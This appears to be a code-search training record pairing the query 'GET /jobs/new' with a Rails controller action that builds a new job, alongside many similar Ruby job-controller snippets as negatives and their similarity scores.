"def get_job_info(page)\n job_api = \"#{BASE_URL}/v4/projects/#{PROJECT_ID}/jobs?page=#{page}&per_page=#{PER_PAGE}\"\n begin\n response = RestClient::Request.new(\n :method => :get,\n :url => job_api,\n :verify_ssl => false,\n :headers => {\"PRIVATE-TOKEN\" => API_TOKEN}\n ).execute\n\n response.headers\n\n rescue RestClient::ExceptionWithResponse => err\n puts \"jobs info error: #{err.response}\"\n return nil\n end\nend",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.haml\n format.json {\n render :json => @job,\n :methods => [:status_name, :percentage, :total, :completed, :error, :ended?]\n }\n end\n end",
"def get_job(uuid, username, password)\n jobs = get_json('jobs.json', username, password)\n job = jobs['jobs'].find { |j| j['uuid'] == uuid }\n\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n\n fail \"Could not find job with UUID=#{uuid}\" unless job\n job\nend",
"def jobs\n\t\t# ...\n\tend",
"def jobs(opts = {})\n api(\n @client.list_jobs(\n @project_id,\n deep_symbolize_keys(opts)\n )\n )\n end",
"def index\n @jobs = Job.all\n # @jobs = ScriptedClient::Job.all\n end",
"def get_job(job_id)\n client = IotHubApiClient.new(@options)\n res = client.get(jobs_path(job_id), @api_version_param)\n JobResponse.new(response_json(res))\n end",
"def show\n @job_title = JobTitle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_title }\n end\n end",
"def index\n render json: {:jobs => Job.where('branch_id = ?', current_user.branch_id).order(id: :desc),\n :branch_id => current_user.branch_id }\n end",
"def index\n #@jobs = Job.all\n @jobs = Job.all(:order => 'updated_at DESC')\n #@jobs = @user.jobs.all(:order => 'updated_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @jobs }\n end\n end",
"def index\n \n @meeting_threads = @current_user.available_jobs\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meeting_threads }\n end\n end",
"def index\n @job_requests = JobRequest.all\n end",
"def show\n respond_with Job.find(params[:id])\n end",
"def index\n @jobs = Job.page(params[:page])\n end",
"def index\n @jobs = Job.all\n render :index\n end",
"def index\n jobs = Job.all.map do |job|\n { title: job.title, timerange: job.timerange }\n end\n \n render json: { results: jobs }.to_json, status: :ok\n end",
"def show\n @job = Job.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @job }\n format.json { render :json => @job }\n end\n end",
"def index\n @jobs = Job.paginate :page => params[:page], :order => 'created_at DESC', :per_page =>10\n @job = Job.find(:last)\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n format.json { render :json => @jobs }\n end\n end",
"def show\n @user = User.find(params[:id])\n @jobs = @user.jobs\n end",
"def list_jobs(username, password, uuid = nil)\n jobs = get_json('jobs.json', username, password)\n puts \"\"\n jobs[\"jobs\"].each do |job|\n next if uuid && job['uuid'] != uuid\n if job['jobURL']\n job.merge!(get_json(job['jobURL'], username, password, ''))\n end\n puts summarise_job(job, 2)\n puts \"\"\n end\n del = jobs['delivered']\n puts \"#{del['jobCount']} jobs, #{del['activityCount']} activities delivered since #{del['since']}\"\nend",
"def show\n @device = Device.find(params[:device_id])\n @job = @device.jobs.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def list_jobs\n jobs = if unsafe_params[:editable]\n Job.editable_by(@context).accessible_by_private\n else\n Job.accessible_by(@context)\n end\n\n if unsafe_params[:scopes].present?\n check_scope!\n jobs = jobs.where(scope: unsafe_params[:scopes])\n end\n\n if unsafe_params[:space_uid].present?\n jobs = jobs.terminal\n end\n\n result = jobs.eager_load(user: :org).order(id: :desc).map do |job|\n describe_for_api(job, unsafe_params[:describe])\n end\n\n render json: result\n end",
"def index\n @training_active_jobs = Training::ActiveJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @training_active_jobs }\n end\n end",
"def index\n @jobs = Job.with_hires(nil).all\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def show\n @employing_unit = EmployingUnit.find(params[:id])\n @job=Job.new\n @jobs=@employing_unit.jobs\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @employing_unit }\n end\n end",
"def job(job_name)\n jobs job_name\n end",
"def show\n @job = Job.find(params[:id])\n render :show\n end",
"def print_job_sample(client)\n response = client[\"jobs/#{$job_id}/print\"].put nil\n\n p ''\n p 'Print a job'\n p response\nend",
"def new\n\t\t@job = Job.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def index\n @job_details = JobDetail.all\n end",
"def show\n @job_folio = JobFolio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_folio }\n end\n end",
"def index\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job = Job.find(params[:jid]) if params[:jid] and Job.exists?(params[:jid])\n redirect_to jobs_path unless @job\n @job_scope_additions = JobScopeAddition.find_all_by_jobs_id(@job.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @job_scope_additions }\n end\n end",
"def find_job\n @job = Job.find(params[:job_id])\n end",
"def show\n @job = Job.find(params[:job_id])\n @part = @job.parts.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json {render json: @part}\n end\n end",
"def show\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @training_active_job }\n end\n end",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def jobs(opts = {})\n api(api_method: @bq.jobs.list,\n parameters: opts)\n end",
"def show\n\t\t@project = Project.accessible(current_user).find_by_name(params[:project_id])\n\t\traise \"There is no such project.\" unless @project.present?\n\n\t\t@job = Job.find(params[:id])\n\t\t@messages_grid = initialize_grid(@job.messages,\n\t\t\torder: :created_at,\n\t\t\tper_page: 10\n\t\t)\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def show\n @saved_jobs = SavedJob.where(:user_id => current_user.id).order(\"created_at DESC\")\n\n @saved_job = SavedJob.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @saved_job }\n end\n end",
"def index\n @job_folios = JobFolio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_folios }\n end\n end",
"def index\n @jobtimes = current_company.jobtimes.find_all_by_job_id(params[:job_id])\n respond_to do |format|\n format.xml {render :xml => @jobtimes }\n format.json { render :json => @jobtimes }\n end\n end",
"def index\n @jobs = Job.all\n @paginated_jobs = @jobs.paginate(:page => params[:page], :per_page => Settings.Pagination.NoOfEntriesPerPage)\n end",
"def show\n @location = Location.find(params[:id])\n @jobs = @location.jobs\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end",
"def index\n @joborders = Joborder.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @joborders }\n end\n end",
"def index\n @jobs = Job.find(:all, :conditions => params_to_conditions(params), :order => \"id\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def index\n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jobs }\n end\n end",
"def show\n @job_compact = JobCompact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_compact }\n end\n end",
"def show\n @jobber = Jobber.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @jobber }\n end\n end",
"def job # this is a getter\n @job\n end",
"def show\n @emp_job = EmpJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @emp_job }\n end\n end",
"def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end"
] |
[
"0.7503342",
"0.7451727",
"0.7444004",
"0.74323505",
"0.7397192",
"0.7318913",
"0.73015726",
"0.7274568",
"0.72399634",
"0.72276026",
"0.72276026",
"0.72276026",
"0.72276026",
"0.72276026",
"0.7223489",
"0.7211026",
"0.7158756",
"0.7104066",
"0.7104066",
"0.70958894",
"0.7061189",
"0.70451146",
"0.70368254",
"0.69718444",
"0.6967951",
"0.6964452",
"0.694062",
"0.6911915",
"0.6907122",
"0.68935627",
"0.68935627",
"0.68935627",
"0.68935627",
"0.68935627",
"0.68935627",
"0.68914664",
"0.6850286",
"0.6850286",
"0.6850221",
"0.68426675",
"0.68264574",
"0.68067884",
"0.68067884",
"0.67862594",
"0.6784947",
"0.67691",
"0.6762912",
"0.6761594",
"0.6759555",
"0.67325264",
"0.67173654",
"0.6699918",
"0.66958344",
"0.6684695",
"0.6666589",
"0.66431123",
"0.6631612",
"0.66215104",
"0.6617982",
"0.66124433",
"0.6603885",
"0.6598011",
"0.6597786",
"0.6596234",
"0.6591089",
"0.6578749",
"0.65723056",
"0.65723056",
"0.65723056",
"0.65723056",
"0.6572086",
"0.6564114",
"0.6555487",
"0.6549654",
"0.6538366",
"0.6529946",
"0.6528492",
"0.64776456",
"0.6474006",
"0.64547837",
"0.6452493",
"0.6429122",
"0.64285415",
"0.6426639",
"0.6422366",
"0.6412591",
"0.640347",
"0.63946986",
"0.63921475",
"0.63889784",
"0.6388079",
"0.6378779",
"0.6365918",
"0.63634217",
"0.6353697",
"0.63533235",
"0.6350765",
"0.6339585",
"0.63386744",
"0.63208777",
"0.6313139"
] |
0.0
|
-1
|
GET /jobs/new GET /jobs/new.json
|
def new
@job = Job.new
session[:time_now] = Time.now
2.times do
@job.references.build
end
respond_to do |format|
format.html # new.html.erb
format.json { render json: @job }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n\t\t@job = Job.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @job }\n\t\tend\n\tend",
"def new\n @job_list = JobList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_list }\n end\n end",
"def new\n @saved_job = SavedJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @saved_job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n format.json { render :json => @job }\n end\n end",
"def new\n @construction_job = Construction::Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @construction_job }\n end\n end",
"def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def new\n @job_title = JobTitle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_title }\n end\n end",
"def new\n @job_folio = JobFolio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_folio }\n end\n end",
"def new\n createJobWithDefaults\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job_item = @job.job_items.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_item }\n end\n end",
"def new\n @job = Job.new_default(params[:job])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def create\n job = Job.create(job_params)\n render json: job\n end",
"def new\n @jobtype = Jobtype.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render_json @jobtype }\n end\n end",
"def new\n @job_notification = JobNotification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_notification }\n end\n end",
"def new\n @emp_job = EmpJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @emp_job }\n end\n end",
"def new\n @sfjob = Sfjob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sfjob }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job_category = JobCategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_category }\n end\n end",
"def new\n @device = Device.find(params[:device_id]) \n @job = @device.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def new\n @job = current_user.jobs.new\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n if params[:id].nil?\n redirect_to \"/\", :alert=>\"You need to apply through a job\"\n return\n end\n\n @job = Job.find(params[:id])\n @company = @job.company.name\n @title = @job.title\n\n @application = Application.new\n\n respond_to do |format|\n format.html# new.html.erb\n format.json { render json: @application }\n end\n end",
"def new\n @title = t('view.print_job_types.new_title')\n @print_job_type = PrintJobType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @print_job_type }\n end\n end",
"def new\n @jobsearch = Jobsearch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobsearch }\n end\n end",
"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def new\n @new_job = Job.new\n # Authorizes the correct user to access new job page\n authorize @new_job\n end",
"def new\n @job_compact = JobCompact.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_compact }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @jobber = Jobber.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jobber }\n end\n end",
"def new\n @photo_job = PhotoJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @photo_job }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @joborder = Joborder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @joborder }\n end\n end",
"def new\n @training_active_job = Training::ActiveJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @training_active_job }\n end\n end",
"def new_job\n j = self.class.new\n j.save\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = Job.new\n end",
"def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @volunteer_job = VolunteerJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volunteer_job }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = Job.new\n\n respond_to do |format|\n format.js\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @job_status = JobStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_status }\n end\n end",
"def new\n #@job = Job.new\n if current_user.role == true\n @job = current_user.jobs.new\n else\n flash[:error] = \"You must be a sensei to do that. Re-chose your path by editing your profile.\"\n redirect_to root_path\n end\n\n #respond_to do |format|\n # format.html # new.html.erb\n # format.json { render json: @job }\n #end\n end",
"def new\n @vacancy = Vacancy.find_by_id(params[:vacancy_id])\n @job_application = JobApplication.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_application }\n end\n end",
"def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @job = Job.new\n @locations = Location.find(:all, :conditions=>['user_id=?',current_user.id])\n @job.locations.build # Creating task_location in Memory so that our Form has something to work with when dealing with Task Locations.\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n @work = Work.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @work }\n end\n end",
"def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def new\n @work = Work.new\n\n respond_to do |format|\n format.json { render json: @work }\n end\n end",
"def create\n @job = current_user.jobs.build(params[:job])\n if @job.save\n flash[:success] = \"Job Added!\"\n redirect_to root_url\n else\n render 'new'\n end\n\n end",
"def new\n @job = Job.new\n end",
"def new\n @job_application = JobApplication.new\n @users = User.find :all\n @job_postings = JobPosting.find :all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_application }\n end\n end",
"def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #@job = Job.new(params[:job])\n @job = current_user.jobs.new(params[:job])\n \n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :created, :location => job_url(@job) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @job = current_user.jobs.new( job_params )\n\n if @job.save\n redirect_to @job, notice: 'Job created.'\n else\n render :new\n end\n end",
"def new\n @worker = Worker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @worker }\n end\n end",
"def new\n @job_property_value = JobPropertyValue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_property_value }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @myjob = Myjob.new(myjob_params)\n\n respond_to do |format|\n if @myjob.save\n format.html { redirect_to @myjob, notice: 'Myjob was successfully created.' }\n format.json { render :show, status: :created, location: @myjob }\n else\n format.html { render :new }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(job_params)\n puts (@job.description)\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.saved_jobs.where(job_id: params[:saved_job][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_error') }\n end\n else\n @saved_job = current_user.saved_jobs.new(saved_job_params)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_success') }\n format.json { render :show, status: :created, location: @saved_job }\n\n else\n format.html { render :new }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def new\n @user = User.find(params[:user_id])\n @job = @user.jobs.new\n @job.paper_price = current_paper_price\n @job.ink_price = current_ink_price\n @job.quantity = 1\n\n @page_title = \"New print job for \" + @user.full_name \n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_runner }\n end\n end",
"def create\n\t\tjob = Job.new\n\t\tjob.user_id = current_user.id\n\t\tjob.http_method \t= params[:http_method]\n\t\tjob.http_uri \t\t= params[:http_uri]\n\t\tjob.http_host \t\t= params[:http_host]\n\t\tjob.http_headers\t= params[:http_headers]\n\t\tjob.http_data\t\t= params[:http_data]\n\n\t\t# Set job type to bruteforce by default. This will change, but\n\t\t# for now we don't care about responses.\n\t\tjob.attack_type\t\t\t= \"repeat\"\n\n\t\t# Set status to pending by default -- this may change in future\n\t\tjob.status \t\t\t= \"pending\"\n\n\t\tjob.save\n\n\t\trender :json => job.to_json\n\tend",
"def create(id, job)\n connection.post do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"def new\n @thing = Thing.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @thing }\n end\n end",
"def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @jam = Jam.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @jam }\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n job = Job.find(params[:job_id])\n @saved_job = SavedJob.create(:job_id => params[:job_id], :user_id => current_user().id)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully created.' }\n format.js\n format.json { render :json => @saved_job, :status => :created, :location => @saved_job }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"def new\n @node = @job.nodes.build \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n format.json { render :json => @node } \n end\n end",
"def new\n @job_assignment = @group.job_assignments.new\n @jobs = @group.jobs.order(\"title\")\n @users = @group.users.order(\"first_name\")\n\n if params[:job_id].present?\n @job = Job.find(params[:job_id])\n end\n\n if params[:user_id].present?\n @user = User.find(params[:user_id])\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job_assignment }\n end\n end"
] |
[
"0.8294962",
"0.8294962",
"0.8132548",
"0.8099061",
"0.8099061",
"0.8099061",
"0.8099061",
"0.7864007",
"0.7657739",
"0.7647186",
"0.7637153",
